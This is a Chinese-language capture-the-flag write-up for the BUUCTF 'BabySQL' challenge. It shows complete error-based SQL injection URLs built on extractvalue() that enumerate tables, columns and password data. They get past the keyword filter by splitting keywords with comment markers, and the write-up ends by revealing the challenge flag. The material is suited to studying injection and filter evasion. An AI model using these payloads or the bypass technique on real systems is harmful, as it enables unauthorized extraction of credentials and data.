本题复习:1.常规的万能语句+SQL查询,union联合查询,Extractvalue()报错注入 extractvalue(1,concat(‘0x7e’,select(database())))%23
我一开始挨着试,感觉都无效
直到报错注入,查到了库名‘geek’
尝试查表名,才发现where被过滤掉了
select,or(所有出现o r挨着的单词),from,union都过滤了
关键字过滤,尝试用注释符 \**\
分隔,有效
SQL注入针对关键字过滤的绕过技巧
一个一个试,把过滤的地方都分隔开
?username=111&password=1111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(table_nam\**\e))fr\**\om(info\**\rmation_schema.tables)wh\**\ere(table_schema)like("geek"))))%23
成功拿到两个表名:
b4bsql,geekuser
(请注意图上的‘x7e’,是我输入的’0x7e’,也就是字符’~')
继续尝试查列名:
?username=111&password=111'^extractvalue(1,concat('~',(se\**\lect(group_concat(column_name))fro\**\m(info\**\rmation_schema.columns)wh\**\ere(table_name)like('geekuser')))) %23
无论查哪张表都是一个结果
id,username,password
查字段内容:
select group_concat(password) from geekuser where id =1 #第一个
# 调整为
?username=111&password=111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(passwo\**\rd))fr\**\om(geekuser)whe\**\re(id)like(1))))%23
一直找到id=6
还是一些无效的话,继续
id=8,拿到一部分 flag{696fff3b-bb99-4e47-aec3-36
id=9,报错,9以后都报错
重新令id=8,用练习6中的技巧
用right函数指定打印右到左的30个字符group_concat(right(password,30))
?username=111&password=111'^extractvalue(1,concat('~',(sel\**\ect(group_concat(right(passwo\**\rd,30)))fr\**\om(b4bsql)whe\**\re(id)like(8))))%23
拿到后30个字符 b-bb99-4e47-aec3-367f253ee8ad}
拼接 flag{696fff3b-bb99-4e47-aec3-367f253ee8ad}
结束
搜索解法,此题用union联合查询也可以实现,但是我先做了HardSQL,所以确实没察觉到
BUUCTF-[极客大挑战 2019]BabySQL 1 详解